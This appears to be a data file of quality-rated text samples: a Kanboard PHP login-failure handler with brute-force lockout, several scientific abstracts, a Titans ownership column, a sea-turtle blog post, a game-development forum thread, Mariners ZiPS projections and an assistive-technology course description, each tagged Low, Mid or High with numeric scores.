$this->logger->debug('Subscriber executed: '.__METHOD__); $credentials = $this->rememberMeCookie->read(); if ($credentials !== false) { $session = $this->rememberMeSessionModel->find($credentials['token'], $credentials['sequence']); if (! empty($session)) { $this->rememberMeSessionModel->remove($session['id']); } $this->rememberMeCookie->remove(); } } /* * Increment failed login counter * * @access public * @param AuthFailureEvent $event */ public function onLoginFailure(AuthFailureEvent $event) { $this->logger->debug('Subscriber executed: '.__METHOD__); $username = $event->getUsername(); if (! empty($username)) { // log login failure in web server log to allow fail2ban usage error_log('Kanboard: user '.$username.' authentication failure'); $this->userLockingModel->incrementFailedLogin($username); if ($this->userLockingModel->getFailedLogin($username) > BRUTEFORCE_LOCKDOWN) { $this->userLockingModel->lock($username, BRUTEFORCE_LOCKDOWN_DURATION); } } else { // log login failure in web server log to allow fail2ban usage error_log('Kanboard: user Unknown authentication failure'); } } }	Mid	[ 0.625792811839323, 37, 22.125 ]
The Size Dependence of Phytoplankton Growth Rates: A Trade-Off between Nutrient Uptake and Metabolism. Rates of metabolism and population growth are often assumed to decrease universally with increasing organism size. Recent observations have shown, however, that maximum population growth rates among phytoplankton smaller than ∼6 μm in diameter tend to increase with organism size. Here we bring together observations and theory to demonstrate that the observed change in slope is attributable to a trade-off between nutrient uptake and the potential rate of internal metabolism. Specifically, we apply an established model of phytoplankton growth to explore a trade-off between the ability of cells to replenish their internal quota (which increases with size) and their ability to synthesize new biomass (which decreases with size). Contrary to the metabolic theory of ecology, these results demonstrate that rates of resource acquisition (rather than metabolism) provide the primary physiological constraint on the growth rates of some of the smallest and most numerically abundant photosynthetic organisms on Earth.	High	[ 0.6649746192893401, 32.75, 16.5 ]
What's next for dysfunctional Titans family? I think it's safe to say the Adams family's Thanksgiving dinner doesn't exactly resemble a Norman Rockwell painting. The events of the past week have given us insight into the level of dysfunction surrounding the extended family of late Titans founder Bud Adams. We knew it was a mess. But we had no idea how big a mess. There's less backstabbing in a Shakespeare tragedy. A couple of weeks ago, Tommy Smith seemed comfortable in his role as president/CEO of the Titans. He even made the Nashville sports radio rounds and talked about how things were going to improve with both the Titans' on-field and off-field operations. A few days later, he was the target of a palace coup that effectively ended his involvement with the organization beyond the one-third stake his wife, Susie Adams Smith, has in the team. He went from being the leader of the franchise to persona non grata. Those with working knowledge of the situation are not all that surprised. They say it was only a matter of time before the family turned on itself. Apparently, matriarch Nancy Adams was able to maintain some degree of order within the family until her death in February 2009. After that, things fell apart. For one thing, it's no secret that Smith and his father-in-law were not close during Bud's later years. There are stories out there that the two would not dine within eyeshot of each other. Look, family squabbles are nothing new. All of us, regardless of our tax brackets, have issues. Normally, though, our dirty laundry is not aired so publicly. Then again, most of our families are not in possession of an NFL franchise. Smith's hasty "retirement" with the Titans was the result of a family feud, one that very well could lead to the sale of the team in the not-too-distant future. As long as Bud Adams was alive, the franchise was off-limits to potential buyers. It would have to be pried from his cold, dead hands. Seventeen months after his death, it's just another corporate entity that is jointly held by three heirs and might be available if the price is right. And that price could be in the neighborhood of $2 billion. It's interesting that the family members apparently could agree on one thing: Bringing back Steve Underwood to oversee day-to-day operations. Underwood long was a trusted lieutenant to Bud Adams. He was his chief legal counsel and one of his confidantes. Beyond that, Underwood is a smart man with great people skills and remarkable common sense — characteristics this organization desperately lacks. I suspect Underwood was brought out of retirement with two objectives: Stabilize things in the short term and get the franchise positioned for sale in the longer term. For his part, Underwood told Tennessean beat writer Jim Wyatt the team is not for sale. Fine. But with so much instability, I contend that everything is subject to change. And that includes ownership of the team. Besides, if you're trying to get top dollar for something, what do you do? Say it's not for sale, of course. As far as potential buyers are concerned, can we please dismiss this idea that Jimmy Haslam somehow might wind up owning the Titans? This just in: Haslam owns the Cleveland Browns and is running them from his base of operations at Pilot/Flying J headquarters in Knoxville. Even so, some people simply can't let go of the idea that the owner of one NFL franchise could swap it for another. This isn't like trading football cards. It's not quite as simple as giving up a couple of draft picks and a player to be named later in order to exchange one team for another. Ownership by Haslam would only take this franchise from bad to worse. On Haslam's watch, the Browns have been a dumpster fire. It's one of the very few NFL organizations that is more poorly run than the Titans. Besides, Haslam is worried about two other things right now: What is he going to do about Johnny Manziel? Is he going to escape the federal investigation of Pilot/Flying J relatively unscathed? Not necessarily in that order. David Climer's columns appear on Wednesday, Friday, Sunday and Monday. Reach him at 615-259-8020 and on Twitter @DavidClimer.	Low	[ 0.515463917525773, 31.25, 29.375 ]
Acute adaptation in adrenergic control of lipolysis during physical exercise in humans. During prolonged exercise, the free fatty acids derived from adipocyte lipolysis are the principal fuel utilized by muscles. In humans, the lipid mobilization from adipose tissue is mainly regulated by insulin and catecholamines: the latter hormones have both beta-adrenergic stimulatory and alpha 2-adrenergic inhibitory effects on lipolysis. The aim of this study was to determine whether rapid alterations in the peripheral action of the regulatory hormones occur during physical work and whether they are of importance for the enhanced lipid mobilization. The acute effects of exercise on the regulation of lipolysis were investigated in isolated adipocytes removed from the gluteal region of 14 healthy volunteers before and immediately after the exercise period. Exercise induced a 20-35% significant increase in the lipolytic response to noradrenaline alone and in combination with the selective alpha 2-antagonist yohimbine and to the pure beta-agonist isoproterenol in isolated adipocytes. The antilipolytic effects of both the alpha 2-agonist clonidine and insulin were unaffected by exercise. Exercise did not influence the specific adipocyte receptor binding of 125I-cyanopindolol (beta-adrenergic receptor), [3H]yohimbine (alpha-adrenergic receptor), and mono-125I-[Tyr A14]insulin (insulin receptor). In conclusion, a single period of submaximal exercise increases adipocyte lipolytic responsiveness to catecholamines through an increased beta-adrenoceptor-mediated effect at steps distal to the receptor binding. Thus the increased peripheral action of catecholamines may be of importance for the observed enhanced lipid mobilization during physical work.	High	[ 0.6969253294289891, 29.75, 12.9375 ]
Kinetic hindrance of Fe(II) oxidation at alkaline pH and in the presence of nitrate and oxygen in a facultative wastewater stabilization pond. To better understand the dynamics of Fe2 + oxidation in facultative wastewater stabilization ponds, water samples from a three-pond system were taken throughout the period of transition from anoxic conditions with high aqueous Fe2 + levels in the early spring to fully aerobic conditions in late spring. Fe2 + levels showed a highly significant correlation with pH but were not correlated with dissolved oxygen (DO). Water column Fe2 + levels were modeled using the kinetic rate law for Fe2 + oxidation of Sung and Morgan.[5] The fitted kinetic coefficients were 5 +/- 3 x 10(6) M(- 2) atm(-1) min(-1); more than six orders of magnitude lower than typically reported. Comparison of four potential Fe redox couples demonstrated that the rhoepsilon was at least 3-4 orders of magnitude higher than would be expected based on internal equilibrium. Surprisingly, measured nitrate and DO (when present) were typically consistent with both nitrate (from denitrification) and DO levels (from aerobic respiration) predicted from equilibrium. Although the hydrous Fe oxide/FeCO3 couple was closest to equilibrium and most consistent with the observed pH dependence (in contrast to predicted lepidocrocite), Fe2 + oxidation is kinetically hindered, resulting in up to 10(7)-fold higher levels than expected based on both kinetic and equilibrium analyses.	Mid	[ 0.6270022883295191, 34.25, 20.375 ]
By Share Blog Roll Happy Hour with a Big Mama Jun 07th 2012 Delray has always been my “downtown,” but the beach up here in Ocean Ridge is what tends to ground me. Especially now, in the summer, when it’s perfect for swimming, the days are long, and turtles are nesting. We’ve always had a high number of turtle nests, and I always go on turtle walks this month—usually after 10 p.m. and always when it’s a little murky out there, salt smelling, turtle-y, as I like to call it. This summer I’ve been lazy and I haven’t been once. Each morning I see all the new nests and I swear I’m going to go that night but it just has not happened. I am too deep into a book, or I’ve found one lone “Criminal Minds” rerun I have never seen before, or I’m scoring a pair of Jumbu adventure shoes on Zappo’s. Until last weekend when the phone rang at about 6:30 p.m., right before Brian Williams and right before I was about to make a ceremonial Tito’s martini (shaken, not stirred, of course.) “There’s a turtle on the beach,” my neighbor Lynn said. “Now??” I said, having almost never seen a turtle laying her eggs in daylight. So I dropped everything and walked to the end of my street, and there were all my neighbors, a couple of Ocean Ridge police keeping everyone at bay and a very handsome leatherback turtle deeply immersed in laying her eggs. Watching this for the umpteenth time is sort of like watching paint dry; it takes for-e-ver for her to dig the nest, drop the eggs, bury the eggs, cover the nest and then manage to actually turn that gi-normous body around with those awkward flippers kind of uselessly sweeping out plumes of sand. By the time she was ready to try to drag herself off the nest, I’d missed Brian Williams, and my martini was talking to me from my kitchen counter up the street. I was ready for this to be over. And then she began that that lurching slow move toward the ocean. A giant heave, then a heavy pause, then another lurch toward the shoreline. That’s when I couldn’t take my eyes off her, the way she was pulled to the water, and how she labored over every foot of sand. And then she was in, the massive shell washed by the tide, then slipping deeper. The last we saw of her was her head rising out of the water as she swam away, the late sun glancing off the top of her shell. So. There it was. Just another Friday night in a South Florida summer. The kind of happy hour you almost never get to have.	Mid	[ 0.5985915492957741, 31.875, 21.375 ]
Abstract A method for investigating the nature of thermally activated relaxations in terms of their cooperative character is tested in both polymer and low molecular weight crystal systems. This approach is based on analysis of the activation entropy in order to describe thermally activated relaxations. The betaine arsenate/phosphate mixed system of low molecular weight crystals was selected for investigation because pure compounds of this system show ferro-/antiferroelectric phase transitions and the mixed crystals undergo different kinds of relaxation processes involving both dipole–dipole and dipole–lattice interactions. The polymer chosen was a side chain liquid-crystalline polysiloxane, which shows the β-relaxation characteristic of disordered systems and amorphous materials. The cooperative versus local character of the relaxations is described in terms of “complex” and “simple” relaxations based on calculations of the activation entropies. The initial assumptions of the theory, as well as the resulting equations, were found to be applicable to the systems studied.	High	[ 0.6595460614152201, 30.875, 15.9375 ]
Hey everyone! Before you continue, no, this isn't a post about getting MonoGame to work with C++! Now that everyone didn't run away, I have a question that i've been debating for a few days now. I've been programming for 4-5 years now, and the entire time I have had game programming in my sights. Only recently I have been able to start development on a full game, not a sample game you make from a book where the game runs through and ends. I mean a full game, like one you would buy. I've been working on it for a couple weeks using XNA 4.0, even though I have been aware that XNA is basically dead in Microsofts eyes. I was using this as a learning experience, and I did learn a lot. Now here comes the question. I have two options here to continue, because I feel like as though I know i'm learning, continuing with XNA is counter productive if I were to want to deploy and sell my games (key word, IF. I know not everyone is going to be able to, or want to deploy their games to sell). I could port my game over to MonoGame, which I looked through and scoured the internet for info on. The problem here, is that since it's still in development, there is no content pipeline that you get with XNA, which was a huge part of it. I know MonoGame is basically the go-to thing for XNA devs as well. My other option is to switch to C++. I did what every hobby dev does, and started my tenure of programming trying to learn C++, so I do have SOME experience. (Some = getting a sprite to move with DirectX after I learned the language itself of course). Another thing to keep in mind is that I do all of this by myself, and do not work in a team. More thinking about the future, would it be worth it to port my game to MonoGame, continue developing it, and deal with all the tricky workarounds that MonoGame has as of now, (Version 3.0 or 3.1, can't remember which), or would it be better to just start learning C++ again, and get back into that for game development? Before everyone comes out with the, "no language is right for every situation, choose what works for you, etc", i'm not looking for advice on a personal level. I'm looking for advice at an industry level. Basically what i'm asking is, would it be worth it for a one man programming team to deal with the MonoGame stuff, or would it be worth it to make the switch back to C++? Taking the time to learn the language isn't a problem (I'm a third year student at college, I have some time before the real world!) What would be more advantageous in the long term is what I want to know. I'm only looking for opinions here, as I am aware of how many factors can affect a decision like this. I'm not looking for anyone to tell me how hard one is, or how easy another is, as i've had at least some experience in both. Not saying i'm a pro, far from it actually. Just stuck in this tough decision that I can't figure out which side to go with! If it helps, I only work in 2D. Not really working on any 3D games, at least in the foreseeable future. Thanks everyone! I'm in a similar situation to you in that I'm considering switching to MonoGame. However, C++ is out of the question for me because I've been working on my game for about a year in C#. Fortunately for you, your game is in the very early stages of development so switching to either shouldn't be much trouble. If MonoGame doesn't have a content pipeline, does it have something similar? How will you import your assets with it? Furthermore, if you switch to C++, which engine will you use? MonoGame strives to be an open source XNA 4.0, so if you're more familiar with game development in XNA then chances are you're more familiar with C#, so I'd stick with that language. I have also heard that porting to MonoGame from XNA is pretty easy, but I don't have first-hand experience doing it so don't take my word for it. Overall, I think you should look at the big picture. Which platforms would you want to sell your game on? Is it a PC game or a mobile game? Regarding languages: C++ is a powerful language, but it takes a while to get used to. Since it's your very first original game, I'd stick with C# since Visual Studio is a great developer tool and you'll have more problems with C++'s intricacies. Basically what i'm asking is, would it be worth it for a one man programming team to deal with the MonoGame stuff, or would it be worth it to make the switch back to C++? Yes and yes. I know you said you didn't want that advice, but unfortunately it's the correct answer. Either of those are viable options with advantages and disadvantages, and at the end of the day the biggest factor is going to be your own personal preference. Small teams and individual developers have been successful with both C# and C++, and both languages are more than sufficient for what you're trying to do. Personally, given you're significantly more familiar with and also making progress with C# and XNA I would tend towards sticking with C# and learning to use MonoGame when or if it becomes necessary. I would suggest you simply stick with XNA for now, as for the time being it is still perfectly usable and the functionality and usability of MonoGame is being improved all the time to ensure switching is as painless as possible. You can then make the change only once you actually need to do so. For reference, it's my understanding that most people currently just use the XNA content pipeline along with MonoGame but that the MonoGame replacement is coming along nicely and should be able to take over that role sometime in the near future. You can still continue to use XNA if you like it - It won't stop working or refuse to install on people's computers, it's just not going to be developed any further. If you want to get it onto Windows 8 or any other unsupported platform, you could use MonoGame to port it over when you need to. For MonoGame, you just need to use XNA's content pipeline to compile your assets before adding them to your project. There's also a Content Compiler project on CodePlex that might simplify things, but I haven't tried it yet. If you're comfortable using those frameworks, and enjoy it, there's no harm in continuing to do so. Any concepts you learn in one language usually transfer to a new one, so you're not going to "waste" any time now even if you change later: When you're certain you'd rather be working with C++, and feel you're ready, you can do so whenever you want. I hate to 'leave it up to you' since you specifically asked to avoid that, but I don't know that anyone's opinions would be relevant to your decision, the big picture is the one you're painting yourself. I could advise you to go with C++, just because that's what Epic used for the Unreal engine, but that's irrelevant if you have no interest in working there. (As well as a poor basis for advice in the first place!) Basically, you got caught up in having to make an unexpected decision, while feeling like you don't have enough knowledge to do so. It's not as dire as it seems, and truthfully in the longterm, you'll be fine no matter which way you go. It's really only a matter of which feels more comfortable for you.	Mid	[ 0.573363431151241, 31.75, 23.625 ]
After having typically appeared in the very hallowed pages of Baseball Think Factory, Dan Szymborski’s ZiPS projections have been released at FanGraphs the past couple years. The exercise continues this offseason. Below are the projections for the Seattle Mariners. Szymborski can be found at ESPN and on Twitter at @DSzymborski. Other Projections: Atlanta / Baltimore / Cincinnati / Kansas City / New York AL / Philadelphia / Pittsburgh / Texas / Toronto. Batters The arrival of Jerry Dipoto in Seattle has been accompanied by considerable turnover within the club’s roster — some of which is represented in the major-league depth chart. Nori Aoki, Chris Iannetta, and Adam Lind all receive projections in the one-win range. Not unexpected, that, but also not a source of great inspiration to the people of Seattle. Then there’s the case of Leonys Martin. Rendered more or less redundant in Texas, the center fielder is projected to produce 2.5 wins in roughly two-thirds playing time, one of the best marks among the club’s position players. Elsewhere, the strengths of the club remain the same. Robinson Cano, Nelson Cruz, and Kyle Seager are all forecast to record three or more wins. This is particularly encouraging for Cano. After posting a 2.1 WAR in nearly 700 plate appearances this past season, Cano is expected to approach the four-win threshold in 2016. Pitchers If one is inclined to put stock in ZiPS, one is inclined also to believe that the version of reality in which Hisashi Iwakuma signs officially with the Dodgers is an unfortunate reality for the Mariners. After Felix Hernandez, the recipient (predictably) of a strong projection, the next best non-Iwakuma mark belongs to left-hander Wade Miley, who barely passes the one-win threshold. The numbers after that aren’t particularly encouraging, either. With regard to the bullpen, one finds that it features almost an entirely different cast than that which ended the 2015 season. No coincidence, that, in light of how the club’s relief corps finished 26th in the majors by WAR. The prognosis for the 2016 version of the bullpen isn’t wildly encouraging, but suggests an improvement over its predecessor. Bench/Prospects While Dan Szymborski’s computer algorithms might seem pessimistic with regard to some of the Mariners’ newest acquisitions, one player for whom that’s not the case is outfielder Boog Powell. The author of precisely zero major-league plate appearances, Powell is forecast by ZiPS to produce 1.5 wins in roughly 500 plate appearances on the strength of reasonable plate-discipline numbers and slightly above-average center-field defense. Among pitchers, the returns aren’t quite so promising. New acquisition Tony Zych is projected for roughly half a win. Depth Chart Below is a rough depth chart for the present incarnation of the Mariners, with rounded projected WAR totals for each player. For caveats regarding WAR values see disclaimer at bottom of post. Click to embiggen image. Ballpark graphic courtesy Eephus League. Depth charts constructed by way of those listed here at site and author’s own haphazard reasoning. * * * * * * Disclaimer: ZiPS projections are computer-based projections of performance. Performances have not been allocated to predicted playing time in the majors — many of the players listed above are unlikely to play in the majors at all in 2016. ZiPS is projecting equivalent production — a .240 ZiPS projection may end up being .280 in AAA or .300 in AA, for example. Whether or not a player will play is one of many non-statistical factors one has to take into account when predicting the future. Players are listed with their most recent teams unless Dan has made a mistake. This is very possible as a lot of minor-league signings are generally unreported in the offseason. ZiPS is projecting based on the AL having a 3.93 ERA and the NL having a 3.75 ERA. Players that are expected to be out due to injury are still projected. More information is always better than less information and a computer isn’t what should be projecting the injury status of, for example, a pitcher with Tommy John surgery. Regarding ERA+ vs. ERA- (and FIP+ vs. FIP-) and the differences therein: as Patriot notes here, they are not simply mirror images of each other. Writes Patriot: “ERA+ does not tell you that a pitcher’s ERA was X% less or more than the league’s ERA. It tells you that the league’s ERA was X% less or more than the pitcher’s ERA.” Both hitters and pitchers are ranked by projected zWAR — which is to say, WAR values as calculated by Dan Szymborski, whose surname is spelled with a z. WAR values might differ slightly from those which appear in full release of ZiPS. Finally, Szymborski will advise anyone against — and might karate chop anyone guilty of — merely adding up WAR totals on depth chart to produce projected team WAR.	Mid	[ 0.5964467005076141, 29.375, 19.875 ]
The end goal of the proposed program is to provide training through a truly multidisciplinary design course where engineering students and physical therapist students at the University of North Florida work together to design, fabricate, and test adaptive technology targeting postural control, mobility, social participation, and quality of lifefor children with developmental disabilities. As part of this program students will gain an increased appreciation of the diverse roles and contributions from different disciplines in the context of advanced rehabilitation technology development for pediatric applications. This program will enhance students training through a hands-on, interprofessional, and translational design experience focused on complete working prototypes that meet clinical and community needs. The specific program aims are: (1) To identify and describe various assistive technology solutions for functional limitations for a variety of developmental disabilities. (2) To develop sklls to function as a member of a multidisciplinary team including effective communication across disciplines and people first language, behavior and sensitivity during clinical observations with clients. (3) To identify, formulate, and solve engineering problems utilizing a family-centered functional approach to the assessment of assistive technology needs including cultural uniqueness as applied to ethnic and cultural minorities. (4) To understand the professional, legal, and ethical responsibility of interacting with a client in a professional capacity related t providing assistive technology devices and services. (5) To describe the process utilized to develop product concepts, specifications, prototyping, testing, and fabrication of an assistive technology finished product. (6) To compare and contrast the gaps between engineering and rehabilitation theory and reality.	High	[ 0.6886075949367081, 34, 15.375 ]